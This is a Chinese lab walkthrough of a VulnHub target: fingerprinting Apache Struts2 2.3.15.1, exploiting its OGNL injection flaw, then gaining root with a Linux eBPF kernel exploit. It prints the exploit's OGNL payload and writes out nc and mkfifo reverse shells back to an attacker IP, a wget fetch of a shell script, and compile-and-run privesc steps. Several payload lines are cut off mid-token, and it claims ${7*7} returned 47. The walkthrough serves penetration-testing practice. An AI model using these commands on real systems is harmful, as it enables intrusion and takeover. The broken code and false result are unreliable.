dirsearch -u http://192.168.31.246:8080 -x 404,403

没有需要的目录,但是根据提示我们可以访问/struts2_2.3.15.1-showcase

8,扫描识别网站指纹信息

whatweb -v http://192.168.31.246:8080/struts2_2.3.15.1-showcase/showcase.action

没有用,可以确定的是struts2的版本是2.3.15.1

Apache Struts 是一个开源的 Web 应用框架,最初由 Apache 软件基金会开发。它基于 MVC(模型-视图-控制器)架构,用于构建企业级的 Java Web 应用程序。Struts 提供了一套完整的解决方案,帮助开发人员简化 Web 应用的开发和维护工作。

主要特点:

  1. MVC 架构
    • 模型(Model):通常是业务逻辑层和数据层,表示应用的核心数据。
    • 视图(View):负责呈现用户界面,可以是 JSP 页面(Java Server Pages)、HTML 或其他前端技术。
    • 控制器(Controller):处理用户请求,决定使用哪个模型和视图来响应请求。Struts 的核心部分就是控制器,它是通过 ActionServlet 来实现的。
  2. 基于配置的开发
    • Struts 强调通过 XML 配置文件来定义请求和视图之间的映射关系。例如,struts-config.xml 文件用于配置应用程序的控制器、动作、视图和其他组件。
  3. 表单处理
    • Struts 提供了便捷的表单处理机制,可以自动将 HTTP 请求的参数映射到 Java 对象(如表单对象),简化了表单提交和数据验证的工作。
  4. 国际化
    • Struts 提供了内建的国际化支持,帮助开发人员轻松实现多语言支持。
  5. 扩展性和插件支持
    • Struts 是高度可扩展的,支持通过插件机制添加自定义功能。例如,开发者可以创建自定义的拦截器、标签库等。

Struts 版本:

  • Struts 1.x:最初的版本,采用传统的 Servlet/JSP 技术。随着时间的推移,开发者转向了更现代的框架,如 Spring 和 JSF,导致 Struts 1 的使用逐渐减少。
  • Struts 2.x:经过重构的版本,结合了 WebWork(另一个开源框架)的优势,提供了更灵活和更易用的功能,如更好的拦截器机制、POJO 支持和注解配置等。Struts 2 支持更多的企业级功能,并且与 Spring、Hibernate 等框架集成更为顺畅。

使用场景:

Struts 主要用于开发大型的、复杂的企业级 Web 应用程序,尤其是需要基于 MVC 架构的应用。在很多传统的 Java Web 项目中,Struts 仍然是一个常见的选择。

安全性注意事项:

由于 Struts 在过去曾经暴露过多个安全漏洞(如 CVE-2017-5638),因此在使用 Struts 构建应用程序时,必须定

期更新到最新版本,并且配置好安全措施,防止攻击者通过远程代码执行(RCE)等方式攻击应用。

9,检索该版本相关的公开漏洞利用信息(公开的漏洞网站 Apache Struts 2.3.x Showcase - Remote Code Execution - Multiple webapps Exploit

searchsploit struts | grep "Remote"

Apache Struts2 漏洞(CVE-2017-9791)exp分析

这个漏洞与 Apache Struts2 框架的 OGNL(Object-Graph Navigation Language)表达式语言的处理方式有关,攻击者可以通过构造特定的 payload 在目标服务器上执行任意命令。

分析脚本的结构

  1. 导入请求库
    import requests
    脚本使用 requests 库来发送 HTTP 请求,主要用于向目标服务器发送带有恶意 payload 的 POST 请求。
  2. exploit 函数
    def exploit(url, cmd):
        print("[+] command: %s" % cmd)
        payload = "%{"
        payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
        payload += "(#_memberAccess?(#_memberAccess=#dm):"
        payload += "((#container=#context['com.opensymphony.xwork2.ActionCon"
        payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwor"
        payload += "(#ognlUtil.getExcludedPackageNames().clear())."
        payload += "(#ognlUtil.getExcludedClasses().clear())."
        payload += "(#context.setMemberAccess(#dm))))."
        payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
        payload += "}"
    这个 exploit 函数生成了一个恶意的 payload,它通过 OGNL 表达式绕过 Struts2 中的安全机制,执行传递给 cmd 的命令。具体来说:
    • 使用 OGNL 表达式修改默认成员访问权限(#dm),从而允许执行一些本不应该允许的操作。
    • 设置目标容器对象的成员访问权限,进而使用 Runtime.getRuntime().exec 方法执行一个 shell 命令(cmd)。
    • cmd 参数是从外部传递的命令字符串,用户可以传递任意命令(如启动反向 shell)。
  3. 构造请求的数据
    data = {
        "name": payload,
        "age": 20,
        "__checkbox_bustedBefore": "true",
        "description": 1
    }
    这里,payload 被作为一个名为 name 的字段传递,其他字段是表单的普通数据,通常没有特别的作用。
  4. 设置请求头
    headers = {
        'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/'
    }
    设置了一个 Referer 请求头,它指定了目标服务器的参考来源地址,可能是为了绕过一些简单的防护措施或检测。
  5. 发送 POST 请求
    requests.post(url, data=data, headers=headers)
    使用 requests.post 方法将构造好的 payload 和数据以 POST 请求方式发送到目标服务器的 URL。目标服务器如果存在该漏洞,就会触发 OGNL 表达式,从而执行传递的命令。
  6. 命令行参数
    if len(sys.argv) != 3:
        print("python %s <url> <cmd>" % sys.argv[0])
        sys.exit(0)
    url = sys.argv[1]
    cmd = sys.argv[2]
    脚本要求用户提供两个命令行参数:
    • url:目标服务器的 URL。
    • cmd:要在目标服务器上执行的命令,通常用于启动反向 shell。
  7. 启动反向 shell 在脚本末尾,注释掉的部分展示了如何通过命令 ncat 启动反向 shell:
    # $ ncat -v -l -p 4444 &
    # $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase "ncat -e /bin/bash 127.0.0.1 4444"
    这将尝试在目标服务器上执行命令 ncat -e /bin/bash 127.0.0.1 4444,通过 ncat 启动反向 shell,连接到本地机器的 4444 端口。

潜在安全影响

  • 命令执行:由于利用了 Struts2 中的 OGNL 表达式漏洞,攻击者可以通过这种方式在目标服务器上执行任意命令。
  • 远程代码执行:攻击者可以通过这个漏洞在受害服务器上执行任意命令,包括启动反向 shell、上传恶意文件或操控服务器。

漏洞存在网页:http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action

漏洞验证效果:输入${7*7},结果直接计算出47

10,下载exp,阅读exp的使用方法

searchsploit  -m 42324.py

在代码最后两段注释可以知道使用方法

11,再通过socat设置一个端口转发,使kali的1234端口能够接受内网靶机发送的shell

socat TCP4-LISTEN:1234,reuseaddr,fork TCP4:192.168.31.250:1234 &

python 42324.py http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc -e /bin/bash 192.168.56.61 1234"

发现目标服务器不支持nc -e直接使用命令

python 42324.py http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc 192.168.56.61 1234"

只能使用管道符反弹shell,将给语句写入shell.sh

echo "rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.61 1234 >/tmp/f" > shell.sh

远程执行命令操控内网靶机下载shell.sh

python 42324.py  http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.56.61:1234/shell.sh -O /tmp/shell.sh"

与此同时,攻击机要开启python http模块的服务

12,RCE由此命令执行在靶机上给shell.sh文件执行权限

python 42324.py  http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod 777 /tmp/shell.sh"

然后执行shell.sh脚本

python 42324.py  http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/shell.sh"

与此同时需要打开kali linux对1234端口的监听接收shell

13,没有python的运行环境,无法启动一个可交互shell

然后再做信息收集,查看内核,操作系统,设备信息

cat /etc/lsb-release
uname -a

14,在kali攻击机上搜索有无这个linux版本的漏洞

searchsploit ubuntu 16.04

精简一下搜索内容 searchsploit ubuntu 16.04 |grep "Local"

脚本是CVE-2017-16995的公开exp

CVE-2017-16995 漏洞综合分析

1. 漏洞概述

CVE-2017-16995 是 Linux 内核中的一个本地提权漏洞,主要影响基于 eBPF(扩展伯克利包过滤器) 的系统。该漏洞允许低权限用户通过构造恶意 BPF 程序绕过内核验证机制,触发内存读写错误,最终获取 root 权限10

2. 影响范围

  • 操作系统:Ubuntu 16.04.1 至 16.04.4(官方当时未发布稳定版修复补丁)10
  • 内核版本:Linux 内核中启用 eBPF 的版本(2017年及之前的版本)10

3. 漏洞原理

  • 技术背景
    eBPF 是一种用于内核态的高效数据包过滤和事件处理机制。漏洞源于 eBPF 验证器模块在处理恶意 BPF 程序时未能正确校验计算逻辑,导致攻击者可操控内核内存,实现任意地址读写。
  • 利用条件
    攻击者需具备本地普通用户权限,通过编译并执行恶意代码触发漏洞10

4. 漏洞复现与验证

  1. 环境准备
    • 受影响的 Ubuntu 系统(如 16.04.3)。
    • 上传漏洞利用工具(如 upstream44.c)至用户目录。
  2. 编译与执行
    gcc -o upstream upstream44.c  # 编译生成可执行文件
    ./upstream                    # 执行提权操作
  3. 验证提权
    • 使用 whoami 确认当前用户变为 root。
    • 检查敏感文件权限(如 /etc/shadow)是否可访问10

5. 漏洞修复与缓解

  • 官方补丁
    后续 Linux 内核版本已修复该漏洞,建议升级至最新内核。
  • 临时缓解措施
    • 限制非特权用户执行 eBPF 程序(需修改内核参数)。
    • 监控系统日志中异常进程活动10

6. 关联风险

  • 横向移动:攻击者可结合其他漏洞(如 Struts2 RCE)获取初始访问权限,再通过此漏洞提权。
  • 持久化威胁:提权后可能植入后门、窃取敏感数据或进行横向渗透。

总结

CVE-2017-16995 暴露了 Linux 内核在 eBPF 模块设计中的安全缺陷,对未及时修补的系统构成严重威胁。建议用户及时更新内核版本,并限制低权限用户对敏感内核功能的访问。对于渗透测试人员,该漏洞是本地提权研究的重要案例,但需遵循合法授权原则。

15,考虑到靶场可能没有gcc编译器,所以就预先在kali上将exp编译好

然后kali使用python开启http服务

被控的内网靶机必须先进入到/tmp目录,再通过wget方式下载44298可执行文件

wget http://192.168.56.61:1234/44298.c

给权限执行,发现解释器的版本过低无法解释kali-linux-2024 gcc编译器编译的语言

这个错误表明你的系统中安装的 glibc(GNU C Library)版本低于程序所需的版本。具体来说,程序 ./44298 需要 GLIBC_2.34,但是系统中没有找到该版本。

解决方案:

ldd 输出显示你当前的系统使用的是 glibc 版本 2.23。这个版本的 glibc 是比较旧的(发布于 2016 年),因此它支持的 GCC 编译器版本通常也会受到一定限制。

对应的 GCC 版本

根据 glibc 2.23 的发布时间,它通常与以下版本的 GCC 兼容:

  1. GCC 4.9.x 和 5.x:glibc 2.23 是发布于 2016 年的版本,而 GCC 4.9 和 5.x 在 2016 年时是相对常见的版本,并且与 glibc 2.23 很好地兼容。很多旧版 Linux 发行版仍然使用这一组合。
  2. GCC 6.x 和 7.x:虽然 glibc 2.23 可以与较新的 GCC 版本(如 6.x 和 7.x)兼容,但有时在编译时可能会出现与库的兼容性问题或警告,尤其是在一些更复杂的编译设置中。在正常使用情况下,它通常是可行的。
  3. GCC 8.x 和更高版本:从 GCC 8.x 开始,编译器可能需要更高版本的 glibc,尤其是涉及一些新的标准库特性或优化时,glibc 2.23 可能不完全支持某些新特性。例如,GCC 8 会引入一些更高版本的标准支持和优化,可能与较旧版本的 glibc 存在某些兼容性问题。

glibc 2.23 与 GCC 的兼容性建议

  • GCC 4.9.x 到 7.x:这是 glibc 2.23 的理想匹配版本。你应该避免使用比 GCC 8 或更高版本的编译器,除非你可以确保解决所有相关的兼容性问题。
  • 对于 GCC 8 及以上:如果你必须使用 GCC 8 或更高版本,建议更新 glibc 到至少 2.27 或更高版本。这是因为较新的 GCC 版本会依赖于更现代的 glibc 特性。

安装合适版本的 GCC

如果你希望安装适合 glibc 2.23 的 GCC,可以使用以下步骤:

  1. 查看当前 GCC 版本
    gcc --version
  2. 安装较低版本的 GCC: 如果你需要安装 gcc-7 或 gcc-6,你可以使用包管理器安装(以 Ubuntu 为例):
    sudo apt update
    sudo apt install gcc-7 g++-7
  3. 设置默认 GCC 版本: 如果安装了多个版本的 gcc,你可以使用 update-alternatives 来切换默认版本:
    sudo update-alternatives --config gcc
    sudo update-alternatives --config g++

实际解决方案:

1,kali开启http服务使straylight能够下载到44298.c

2,straylight的gcc版本足够低,gcc编译44298.c为44298可执行文件

3,将44298 move到192.168.56.61的/var/www/html目录下

4,在Neuromancer上通过wget从192.168.56.61的网站根路径下下载44298.c

5,最终成为root用户,成功拿到flag

相关文章:

内网综合渗透测试——WinterMute: 1靶场

靶场来源 <WinterMute: 1 ~ VulnHub> Wintermute 虚拟机网络配置指南 本实验涉及网络跳转技术&#xff0c;需正确配置VirtualBox网络。所有IP均为动态分配&#xff0c;配置快速简便。 通过"文件 >> 导入虚拟设备"导入各虚拟机。 STRAYLIGHT (网络#1 和 …...

项目进度管理工具:甘特图与关键路径法(2025实战指南)

在全球数字化转型加速的背景下&#xff0c;项目延期率高达42%的现状倒逼管理者掌握科学的进度管理工具。本文结合2025年最新实践&#xff0c;深度解析甘特图与关键路径法的原理及应用&#xff0c;助你构建精准可控的项目进度管理体系。 一、双剑合璧&#xff1a;工具组合的价值…...

deepseek-r1-centos-本地服务器配置方法

参考&#xff1a; 纯小白 Centos 部署DeepSeek指南_centos部署deepseek-CSDN博客 https://blog.csdn.net/xingxin550/article/details/145574080 手把手教大家如何在Centos7系统中安装Deepseek&#xff0c;一文搞定_centos部署deepseek-CSDN博客 https://blog.csdn.net/soso67…...

C# Unity 唐老狮 No.2 模拟面试题

本文章不作任何商业用途 仅作学习与交流 安利唐老狮与其他老师合作的网站,内有大量免费资源和优质付费资源,我入门就是看唐老师的课程 打好坚实的基础非常非常重要: Unity课程 - 游习堂 - 唐老狮创立的游戏开发在线学习平台 - Powered By EduSoho 如果你发现了文章内特殊的字体…...

一周学会Flask3 Python Web开发-flask3上下文全局变量session,g和current_app

锋哥原创的Flask3 Python Web开发 Flask3视频教程&#xff1a; 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili flask3提供了session,g和current_app上下文全局变量来方便我们操作访问数据。 以下是一个表格&#xff0c;用于比较Flask中的…...

SpringBoot整合Mybatis-Plus+Druid实现多数据源

概述 Spring Boot&#xff1a; Spring Boot是一个基于Spring框架的开源Java开发框架&#xff0c;旨在简化Spring应用程序的开发、配置和部署。它提供了一种快速、敏捷的方式来构建独立的、生产级别的Spring应用程序&#xff0c;同时还提供了许多开箱即用的功能和工具&#xff0…...

【Mysql】我在广州学Mysql 系列—— 性能优化相关例题

ℹ️大家好&#xff0c;我是练小杰&#xff0c;时间过得真快&#xff0c;还有2天&#xff0c;2025年2月份就结束了&#xff01;&#xff01;&#x1f606; 本文是针对Mysql数据库中有关性能优化的相关示例&#xff0c;通过本文的学习可以深入了解性能优化的各类命令&#xff01…...

罗成华教授论腹膜后肿瘤核磁共振检查意义

腹膜后器官很少受生理运动的影响&#xff0c;而MRI又可进行除横断面以外的冠状面、矢状面或其它任意切面检查&#xff0c;其图像清晰&#xff0c;故其特别适用于腹膜后肿瘤的术前检查。早期经验显示MRI可提供比&#xff23;&#xff34;更多的信息&#xff0c;不用造影剂术前即…...

CSS3 圆角:实现与优化指南

CSS3 圆角&#xff1a;实现与优化指南 随着网页设计的发展&#xff0c;CSS3 圆角已经成为了现代网页设计中不可或缺的元素之一。本文将详细讲解 CSS3 圆角的基本用法、实现方式以及优化技巧&#xff0c;帮助您在网页设计中更好地运用这一功能。 一、CSS3 圆角基本用法 1.1 基…...

Windows下不建议使用C/C++运行库的本地化功能

Windows不建议setlocale或使用C的std::locale对象等C/C运行库的本地化功能&#xff0c;因为setlocale或C的std::locale对象实现bug多&#xff0c;不稳定&#xff0c;可能存在兼容性问题&#xff0c;如&#xff1a; 1、DOS/Win16下setlocale只支持"C"的locale 2、Wi…...

python-leetcode-乘积最大子数组

152. 乘积最大子数组 - 力扣&#xff08;LeetCode&#xff09; class Solution:def maxProduct(self, nums: List[int]) -> int:if not nums:return 0max_prod nums[0]min_prod nums[0]result nums[0]for i in range(1, len(nums)):if nums[i] < 0:max_prod, min_prod…...

基于YOLO11深度学习的半导体芯片缺陷检测系统【python源码+Pyqt5界面+数据集+训练代码】

《------往期经典推荐------》 一、AI应用软件开发实战专栏【链接】 项目名称项目名称1.【人脸识别与管理系统开发】2.【车牌识别与自动收费管理系统开发】3.【手势识别系统开发】4.【人脸面部活体检测系统开发】5.【图片风格快速迁移软件开发】6.【人脸表表情识别系统】7.【…...

Python入门 — 类

面向对象编程中&#xff0c;编写表示现实世界中的事物和情景的类&#xff08;class&#xff09;&#xff0c;并基于这些类来创建对象&#xff08;object&#xff09;。根据类来创建对象称为实例化&#xff0c;这样就可以使用类的实例&#xff08;instance&#xff09; 一、创建…...

本地大模型编程实战(22)用langchain实现基于SQL数据构建问答系统(1)

使 LLM(大语言模型) 系统能够查询结构化数据与非结构化文本数据在性质上可能不同。后者通常生成可在向量数据库中搜索的文本&#xff0c;而结构化数据的方法通常是让 LLM 编写和执行 DSL&#xff08;例如 SQL&#xff09;中的查询。 我们将演练在使用基于 langchain 链 &#x…...

监听其他音频播放时暂停正在播放的音频

要实现当有其他音频播放时暂停当前音频&#xff0c;你可以使用全局事件总线或 Vuex 来管理音频播放状态。这里我将展示如何使用一个简单的事件总线来实现这个功能。 首先&#xff0c;你需要创建一个事件总线。你可以在项目的一个公共文件中创建它&#xff0c;例如 eventBus.js…...

Docker数据卷操作实战

什么是数据卷 数据卷 是一个可供一个或多个容器使用的特殊目录&#xff0c;它绕过 UFS&#xff0c;可以提供很多有用的特性: 数据卷 可以在容器之间共享和享用对 数据卷 的修改立马生效对 数据卷 的更新&#xff0c;不会影响镜像数据卷 默认会一直存在&#xff0c;即时容器被…...

Go中slice和map引用传递误区

背景 关于slice和map是指传递还是引用传递&#xff0c;很多文章都分析得模棱两可&#xff0c;其实在Go中只有值传递&#xff0c;但是很多情况下是因为分不清slice和map的底层实现&#xff0c;所以导致很多人在这一块产生疑惑&#xff0c;下面通过代码案例分析slice和map到底是…...

代码审计入门学习

简介 HadSky轻论坛程序为个人原创PHP系统&#xff0c;作者为蒲乐天&#xff0c;后端基于puyuetianPHP框架驱动&#xff0c;前端基于 puyuetianUI框架驱动&#xff0c;默认编辑器为puyuetianEditor富文本编辑器&#xff0c;其他非原创框架及驱动JQuery.js 及Font-Awesome字体库…...

排序算法(3):

这是我们的最后一篇排序算法了&#xff0c;也是我们的初阶数据结构的最后一篇了。 我们来看&#xff0c;我们之前已经讲完了插入排序&#xff0c;选择排序&#xff0c;交换排序&#xff0c;我们还剩下最后一个归并排序&#xff0c;我们今天就讲解归并排序&#xff0c;另外我们还…...

AI革命下的多元生态:DeepSeek、ChatGPT、XAI、文心一言与通义千问的行业渗透与场景重构

前言 人工智能技术的爆发式发展催生了多样化的AI模型生态&#xff0c;从通用对话到垂直领域应用&#xff0c;从数据挖掘到创意生成&#xff0c;各模型凭借其独特的技术优势与场景适配性&#xff0c;正在重塑全球产业格局。本文将以DeepSeek、ChatGPT、XAI&#xff08;可解释人…...

服务端配置TCP探活,超出探活时间后的行为?

server端启动 &#xff08;完整源码在最后&#xff09; 配置探活 setsockopt(client_fd, IPPROTO_TCP, TCP_KEEPIDLE, &(int){5}, sizeof(int)); // 空闲60秒后探测setsockopt(client_fd, IPPROTO_TCP, TCP_KEEPINTVL, &(int){10}, sizeof(int)); // 探测间隔10秒…...

Eclipse安装和配置环境教程包含下载、安装、汉化(附安装包)

文章目录 前言一、JDK 安装二、Eclipse IDE 安装三、Eclipse软件汉化&#xff08;可选&#xff09;四、安装完成 前言 在编程的世界里&#xff0c;一款好的开发工具能让效率大幅提升&#xff0c;Eclipse 2024 便是这样的利器。不过&#xff0c;其安装过程涉及 JDK 配置、软件本…...

nginx简单命令启动,关闭等

启动命令 #启动nginx start nginx重启命令 比如修改了配置文件&#xff0c;用这个命令重启生效 #重启nginx nginx -s reload3&#xff0c;查看端口占用 #查看端口占用 netstat -aon4&#xff0c;关闭nginx 如果使用cmd命令窗口启动nginx&#xff0c; 关闭cmd窗口是不能…...

SQL------搭建sql靶场和打开sql靶场及报错解决

搭建sql靶场 1.下载安装包与文件 在官网上下载phpstudy网址&#xff1a; http://www.xp.cn 下载sqli-labs的网址&#xff1a; https://github.com/Audi-1/sqli-labs 2.下载小皮面板 打开安装包 安装&#xff0c;记得改自己想要安装的路径 打开php版本 记得下载5.几的版本&…...

对话式AI引擎:DeepSeek技术引领多模态交互新篇章

摘要 DeepSeek技术公司推出了一项创新服务——“对话式AI引擎”&#xff0c;仅需两行代码即可激活任意大型AI模型的语音对话功能。这项技术使得文本型AI模型迅速转变为具备实时语音对话能力的多模态交互模型&#xff0c;解决了大型AI模型在语音交互方面的不足&#xff0c;为AI行…...

在什么情况下需要使用光谱相机呢?

1.需要捕捉不可见光信息时 光谱相机不仅能捕捉可见光&#xff0c;还能记录红外、紫外等波段的光谱信息。以下场景尤其适用&#xff1a; 环境监测&#xff1a;检测水质、空气污染物等肉眼无法观察的物质。 农业监测&#xff1a;分析植物的近红外反射率&#xff0c;判断作物健…...

nnUNetv2用自己的数据集训练推理

有什么不懂的大家可以在评论区问我&#xff0c;我一定会积极回复哒&#xff01;&#xff01;&#xff01; 一、环境配置 首先创建一个虚拟环境 conda create -n nnunet python3.9 conda activate nnunet 然后在pytorch官网&#xff0c;安装pytorch&#xff0c;这里我安装的是…...

std::thread的同步机制

在 C 中&#xff0c;std::thread 用于创建和管理线程。为了确保多个线程能正确、安全地访问共享资源&#xff0c;避免数据竞争和不一致问题&#xff0c;需要使用同步机制。 互斥锁&#xff08;std::mutex&#xff09; 原理&#xff1a;互斥锁是一种最基本的同步原语&#xff…...

Matplotlib 绘图标记

Matplotlib 绘图标记 引言 Matplotlib 是一个功能强大的 Python 绘图库&#xff0c;广泛用于数据可视化。在 Matplotlib 中&#xff0c;绘图标记&#xff08;markers&#xff09;是数据点在图表中显示的方式。正确的使用绘图标记可以增强图表的可读性和美观性。本文将详细介绍…...

Web3.py 入门笔记

Web3.py 学习笔记 &#x1f4da; 1. Web3.py 简介 &#x1f31f; Web3.py 是一个 Python 库&#xff0c;用于与以太坊区块链进行交互。它就像是连接 Python 程序和以太坊网络的桥梁。 官方文档 1.1 主要功能 查询区块链数据&#xff08;余额、交易等&#xff09;发送交易与…...

《论企业集成平台的理解与应用》审题技巧 - 系统架构设计师

企业集成平台的理解与应用——论文写作框架 一、考点概述 本论题“企业集成平台的理解与应用”主要考察的是计算机软件测试工程师对于企业集成平台&#xff08;EIP&#xff09;的深入理解以及在实际项目中的应用能力。论题涵盖了以下几个核心内容&#xff1a; 首先&#xff…...

IO 和NIO有什么区别?

IO 与 NIO 的区别详解 Java 中的 IO&#xff08;Input/Output&#xff09; 和 NIO&#xff08;New IO 或 Non-blocking IO&#xff09; 是两种不同的输入输出处理机制&#xff0c;主要区别体现在设计模型、性能优化和应用场景上。以下是详细对比&#xff1a; 1. 阻塞与非阻塞模…...

音频进阶学习十六——LTI系统的差分方程与频域分析一(频率响应)

文章目录 前言一、差分方程的有理式1.差分方程的有理分式2.因果系统和ROC3.稳定性与ROC 二、频率响应1.定义2.幅频响应3.相频响应4.群延迟 总结 前言 本篇文章会先复习Z变换的有理分式&#xff0c;这是之前文章中提过的内容&#xff0c;这里会将差分方程和有理分式进行结合来看…...

Nginx面试宝典【刷题系列】

文章目录 1、nginx是如何实现高并发的&#xff1f;2、Nginx如何处理HTTP请求&#xff1f;3、使用“反向代理服务器”的优点是什么?4、列举Nginx服务器的最佳用途。5、Nginx服务器上的Master和Worker进程分别是什么?6、什么是C10K问题?7、请陈述stub_status和sub_filter指令的…...

【语法】C++的string

目录 4个默认成员函数 迭代器 string的扩容&#xff1a; capacity(): reserve(): resize()&#xff1a; 插入与删除&#xff1a; c_str: find()和substr: getline(): 在C语言中&#xff0c;要想存储一串字符&#xff0c;往往用的都是char arr[]&#xff0c;也就是字…...

支持selenium的chrome driver更新到133.0.6943.141

最近chrome释放新版本&#xff1a;133.0.6943.141 如果运行selenium自动化测试出现以下问题&#xff0c;是需要升级chromedriver才可以解决的。 selenium.common.exceptions.SessionNotCreatedException: Message: session not created: This version of ChromeDriver only s…...

【2025.2.25更新】wordpress免费AI插件,文章内容、图片自动生成、视频自动生成、网站AI客服、批量采集文章,内置deepseek联网满血版

wordpress免费AI插件&#xff0c;文章内容、文章图片、长尾关键词、视频自动生成、网站AI客服、批量采集文章&#xff0c;插件已接入腾讯云大模型知识引擎xDeepSeek&#xff0c;基于腾讯云大模型知识引擎xDeepSeek可联网满血版&#xff0c;插件可实现文章生成、长尾关键词生成、…...

KylinSP3 | 防火墙和麒麟安全增强设置KySec

一、系统防火墙原理 麒麟操作系统从V10版本开始&#xff0c;默认使用了Firewalld防火墙&#xff0c;Firewalld是能提供动态管理的防火墙&#xff0c;支持网络/防火墙区域&#xff0c;用于定义网络连接或接口的信任级别。支持IPv4和IPv6防火墙设置、以太网桥接和IP集。将运行时…...

DeepSeek + Higress AI 网关/Spring AI Alibaba 案例征集

诚挚地感谢每一位持续关注并使用 Higress 和 Spring AI Alibaba 的朋友。我们会持续投入&#xff0c;力图把 Higress 变得更好&#xff0c;把 Higress 和 Spring AI Alibaba 社区和生态变得更加繁荣。 关于 Higress&#xff1a; Higress 除了作为云原生网关支持 Web 应用的部…...

sql server笔记

创建数据库 use master gocreate database stuuuuu//删除数据库if db_id ($$$) is not nullDrop database [$$$] go//新建表USE [studyTest] GOSET ANSI_NULLS ON GOSET QUOTED_IDENTIFIER ON GOCREATE TABLE [dbo].[Table_1]([id] [int] NULL,[name] [varchar](10) NULL ) ON…...

Vue 3 搭建前端模板并集成 Ant Design Vue(2025)

一、环境安装 截止2025.2.6 &#xff0c;官网发布的vue 3 稳定版本是 V 3.5.13 根据此时的官方文档要求&#xff0c;node 版本需要大于等于 V 18.3 于是使用 nvm 安装 v 20.18.0 二、创建项目 使用 Vue 官方推荐的脚手架 create-vue 快速创建 Vue3 的项目: 快速上手 | Vue.js…...

Word表格中如何只单独调整某一单元格宽度

大家好&#xff0c;我是小鱼。 在日常制作Word表格时&#xff0c;表格中不同单元格有时需要设置不同的宽度&#xff0c;但是很多小伙伴会发现想单独调整某一个单元格宽度时&#xff0c;发现其它单元格宽度也会发生变化。那么&#xff0c;到底怎么才能单独调整某一单元格宽度呢…...

CSS基础选择器和文字属性控制

CSS 层叠样式表(Cascading Style Sheets)&#xff0c;是一种样式表语言&#xff0c;它和HTML一起被用来描述网页的样式。HTML 主要用来定义网页的内容&#xff0c;也就是骨架&#xff0c;CSS 用来定义网页的样式。 CSS 是由选择器和属性声明组成的。选择器用来选择元素&#…...

保护密码等敏感信息的几个常用方法

概述 在生产环境&#xff0c;保护数据库账号密码等敏感信息是至关重要的&#xff0c;这些信息不能被所有研发工程师看见&#xff0c;本文介绍几种避免明文存储的常用方法。 方法1&#xff1a; 使用配置中心加密 适用场景&#xff1a;已采用配置中心&#xff08;如Spring Clou…...

【Golang 面试题】每日 3 题(六十七)

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/UWz06 &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 Golang 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏…...

JavaScript系列(89)--前端模块化工程详解

前端模块化工程详解 &#x1f9e9; 前端模块化是现代Web开发的核心理念之一&#xff0c;它帮助我们组织和管理日益复杂的前端代码。本文将详细探讨前端模块化工程的各个方面&#xff0c;从基础概念到实际应用。 模块化概述 &#x1f31f; &#x1f4a1; 小知识&#xff1a;模…...

PDF处理控件Aspose.PDF教程:使用 Python 将 PDF 转换为 TIFF

TIFF文件是高质量图像的首选。它们广泛用于印刷、存档和图形设计。企业通常需要转换PDF文档以获得更好的兼容性。了解如何以编程方式执行此转换可以节省时间和资源。在这篇教程中&#xff0c;我们将探讨如何使用 Python 将 PDF 转换为 TIFF。 本文涵盖以下主题&#xff1a; P…...

【开源免费】基于SpringBoot+Vue.JS美食烹饪互动平台(JAVA毕业设计)

本文项目编号 T 219 &#xff0c;文末自助获取源码 \color{red}{T219&#xff0c;文末自助获取源码} T219&#xff0c;文末自助获取源码 目录 一、系统介绍二、数据库设计三、配套教程3.1 启动教程3.2 讲解视频3.3 二次开发教程 四、功能截图五、文案资料5.1 选题背景5.2 国内…...

QT 引入Quazip和Zlib源码工程到项目中,无需编译成库,跨平台,加密压缩,带有压缩进度

前言 最近在做项目时遇到一个需求&#xff0c;需要将升级的文件压缩成zip&#xff0c;再进行传输&#xff1b; 通过网络调研&#xff0c;有许多方式可以实现&#xff0c;例如QT私有模块的ZipReader、QZipWriter&#xff1b;或者第三方库zlib或者libzip或者quazip等&#xff1…...

【GO】学习笔记

目录 学习链接 开发环境 开发工具 GVM - GO多版本部署 GOPATH 与 go.mod go常用命令 环境初始化 编译与运行 GDB -- GNU 调试器 基本语法与字符类型 关键字与标识符 格式化占位符 基本语法 初始值&零值&默认值 变量声明与赋值 _ 下划线的用法 字…...